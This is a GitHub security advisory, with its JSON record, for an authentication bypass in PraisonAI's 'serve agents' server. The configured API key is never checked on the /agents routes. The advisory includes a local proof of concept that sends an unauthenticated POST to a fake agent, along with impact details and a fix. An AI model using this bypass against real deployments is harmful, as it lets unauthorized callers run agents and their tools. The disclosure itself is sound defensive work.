GHSA-7WW9-85PG-CV4X

Vulnerability from github – Published: 2026-08-25 14:42 – Updated: 2026-08-25 14:42
VLAI
Summary
PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution
Details

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable: - v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d - v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.

### Details

The CLI accepts and forwards an API key:

  • src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents
  • src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key
  • src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key
  • src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand
  • src/praisonai/praisonai/cli/features/serve.py:199 parses api_key into the config

However, _create_agents_app() never uses config["api_key"] to create middleware or a FastAPI auth dependency:

  • src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app
  • src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agent_name} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.

### PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler._create_agents_app() path with api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.

```python #!/usr/bin/env python3 from future import annotations

import sys import tempfile from pathlib import Path

REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ]

class FakeAgent: def init(self): self.calls = []

  def start(self, query):
      self.calls.append(query)
      return f"fake-agent-ran:{query}"

def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke

  with tempfile.TemporaryDirectory() as tmp:
      agents_yaml = Path(tmp) / "agents.yaml"
      agents_yaml.write_text(
          "roles:\n"
          "  placeholder:\n"
          "    role: Placeholder\n"
          "    goal: Placeholder\n"
          "    backstory: Placeholder\n",
          encoding="utf-8",
      )

      handler = ServeHandler()
      app = handler._create_agents_app(
          {
              "file": str(agents_yaml),
              "host": "0.0.0.0",
              "port": 8000,
              "path": "/agents",
              "reload": False,
              "api_key": "operator-secret-api-key",
          }
      )

      fake_agent = FakeAgent()
      agent_invoke.register_agent("poc", fake_agent)

      client = TestClient(app)
      response = client.post(
          "/agents/poc",
          json={"query": "unauthenticated request"},
      )

      print(f"STATUS_CODE={response.status_code}")
      print(f"RESPONSE_JSON={response.json()!r}")
      print(f"AGENT_CALLS={fake_agent.calls!r}")
      print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
      request']}")

if name == "main": main()

Run:

cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py

Observed output:

STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True

The important condition is that the app was configured with:

"api_key": "operator-secret-api-key"

but the request was sent without any auth header:

client.post("/agents/poc", json={"query": "unauthenticated request"})

The agent still executed and returned HTTP 200.

### Impact

Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key.

Impact depends on the configured agents and their tools, but can include:

  • unauthorized LLM/API usage and provider cost consumption;
  • execution of agent workflows;
  • access to connected tool integrations;
  • reads/writes through file, database, cloud, browser, MCP, or messaging tools;
  • availability impact from repeated or long-running agent invocations.

This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly.

### Suggested fix

Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app.

Recommended changes:

  • In _create_agents_app(), derive an auth dependency from config.get("api_key").
  • Apply it to both POST {path} and POST /agents/{agent_name}.
  • Prefer Authorization: Bearer . Optionally also support X-API-Key for compatibility.

  • Use constant-time comparison for the expected key.

  • Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
  • Add tests proving:
    • key configured + no header returns 401/403;
    • key configured + wrong header returns 401/403;
    • key configured + correct header executes;
    • both /agents and /agents/{agent_name} are covered.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.34"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55534"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:42:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n  PraisonAI\u0027s `praisonai serve agents` command exposes `--api-key` as the documented\n  authentication control for production/external deployments, but the configured key is not\n  enforced on the public agent invocation compatibility endpoints.\n\n  An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network-\n  reachable caller can still invoke agents through `POST /agents` or `POST /agents/\n  {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential.\n\n  Confirmed vulnerable:\n  - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e66b929149ca2201f1d`\n  - v4.6.34 / commit `e5928449f73f66cc8af1de61621aa974ab255133`\n\n  Likely affected range: `\u003e= 4.6.34, \u003c= 4.6.48`.\n\n  This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask\n  `api_server.py` path before 4.6.34. This report concerns the newer FastAPI `serve agents\n  --api-key` code path and is confirmed in v4.6.48.\n\n  ### Details\n\n  The CLI accepts and forwards an API key:\n\n  - `src/praisonai/praisonai/cli/commands/serve.py:156` defines `praisonai serve agents`\n  - `src/praisonai/praisonai/cli/commands/serve.py:162` exposes `--api-key`\n  - `src/praisonai/praisonai/cli/commands/serve.py:175-176` forwards the supplied key\n  - `src/praisonai/praisonai/cli/features/serve.py:191` handles the `agents` subcommand\n  - `src/praisonai/praisonai/cli/features/serve.py:199` parses `api_key` into the config\n\n  However, `_create_agents_app()` never uses `config[\"api_key\"]` to create middleware or a\n  FastAPI auth dependency:\n\n  - `src/praisonai/praisonai/cli/features/serve.py:228` creates the FastAPI app\n  - `src/praisonai/praisonai/cli/features/serve.py:287` registers `POST {path}` with no auth\n  dependency\n  - `src/praisonai/praisonai/cli/features/serve.py:346` registers `POST /agents/{agent_name}`\n  with no auth dependency\n  - `src/praisonai/praisonai/cli/features/serve.py:356-370` executes the registered agent\n  directly\n\n  The same app also mounts `praisonai.api.agent_invoke`, whose `/api/v1/agents/{agent_id}/\n  invoke` route is protected separately by `CALL_SERVER_TOKEN`. That means the protected `/\n  api/v1` route and the unauthenticated `/agents` compatibility routes coexist in the same\n  server. Setting `--api-key` does not protect the compatibility routes.\n\n  ### PoC\n\n  This local-only PoC does not open a network listener and does not call an LLM provider. It\n  constructs the FastAPI app through the real `ServeHandler._create_agents_app()` path with\n  `api_key` set, registers a fake agent, and sends an unauthenticated request using FastAPI\n  `TestClient`.\n\n  ```python\n  #!/usr/bin/env python3\n  from __future__ import annotations\n\n  import sys\n  import tempfile\n  from pathlib import Path\n\n  REPO = Path(\"/path/to/PraisonAI\")\n  sys.path[:0] = [\n      str(REPO / \"src\" / \"praisonai\"),\n      str(REPO / \"src\" / \"praisonai-agents\"),\n  ]\n\n  class FakeAgent:\n      def __init__(self):\n          self.calls = []\n\n      def start(self, query):\n          self.calls.append(query)\n          return f\"fake-agent-ran:{query}\"\n\n  def main() -\u003e None:\n      from fastapi.testclient import TestClient\n      from praisonai.cli.features.serve import ServeHandler\n      from praisonai.api import agent_invoke\n\n      with tempfile.TemporaryDirectory() as tmp:\n          agents_yaml = Path(tmp) / \"agents.yaml\"\n          agents_yaml.write_text(\n              \"roles:\\n\"\n              \"  placeholder:\\n\"\n              \"    role: Placeholder\\n\"\n              \"    goal: Placeholder\\n\"\n              \"    backstory: Placeholder\\n\",\n              encoding=\"utf-8\",\n          )\n\n          handler = ServeHandler()\n          app = handler._create_agents_app(\n              {\n                  \"file\": str(agents_yaml),\n                  \"host\": \"0.0.0.0\",\n                  \"port\": 8000,\n                  \"path\": \"/agents\",\n                  \"reload\": False,\n                  \"api_key\": \"operator-secret-api-key\",\n              }\n          )\n\n          fake_agent = FakeAgent()\n          agent_invoke.register_agent(\"poc\", fake_agent)\n\n          client = TestClient(app)\n          response = client.post(\n              \"/agents/poc\",\n              json={\"query\": \"unauthenticated request\"},\n          )\n\n          print(f\"STATUS_CODE={response.status_code}\")\n          print(f\"RESPONSE_JSON={response.json()!r}\")\n          print(f\"AGENT_CALLS={fake_agent.calls!r}\")\n          print(f\"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == [\u0027unauthenticated\n          request\u0027]}\")\n\n  if __name__ == \"__main__\":\n      main()\n\n  Run:\n\n  cd /path/to/PraisonAI\n  python3 praisonai-serve-agents-api-key-bypass.py\n\n  Observed output:\n\n  STATUS_CODE=200\n  RESPONSE_JSON={\u0027response\u0027: \u0027fake-agent-ran:unauthenticated request\u0027}\n  AGENT_CALLS=[\u0027unauthenticated request\u0027]\n  UNAUTHENTICATED_AGENT_EXECUTED=True\n\n  The important condition is that the app was configured with:\n\n  \"api_key\": \"operator-secret-api-key\"\n\n  but the request was sent without any auth header:\n\n  client.post(\"/agents/poc\", json={\"query\": \"unauthenticated request\"})\n\n  The agent still executed and returned HTTP 200.\n\n  ### Impact\n\n  Any attacker who can reach a praisonai serve agents server can invoke configured agents even\n  when the operator explicitly configured --api-key.\n\n  Impact depends on the configured agents and their tools, but can include:\n\n  - unauthorized LLM/API usage and provider cost consumption;\n  - execution of agent workflows;\n  - access to connected tool integrations;\n  - reads/writes through file, database, cloud, browser, MCP, or messaging tools;\n  - availability impact from repeated or long-running agent invocations.\n\n  This is especially risky because the documented production pattern recommends using --api-\n  key when binding the server publicly.\n\n  ### Suggested fix\n\n  Fail closed when --api-key is configured and require it on every agent invocation route in\n  the serve agents app.\n\n  Recommended changes:\n\n  - In _create_agents_app(), derive an auth dependency from config.get(\"api_key\").\n  - Apply it to both POST {path} and POST /agents/{agent_name}.\n  - Prefer Authorization: Bearer \u003capi_key\u003e. Optionally also support X-API-Key for\n    compatibility.\n\n  - Use constant-time comparison for the expected key.\n  - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.\n  - Add tests proving:\n      - key configured + no header returns 401/403;\n      - key configured + wrong header returns 401/403;\n      - key configured + correct header executes;\n      - both /agents and /agents/{agent_name} are covered.",
  "id": "GHSA-7ww9-85pg-cv4x",
  "modified": "2026-08-25T14:42:25Z",
  "published": "2026-08-25T14:42:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7ww9-85pg-cv4x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…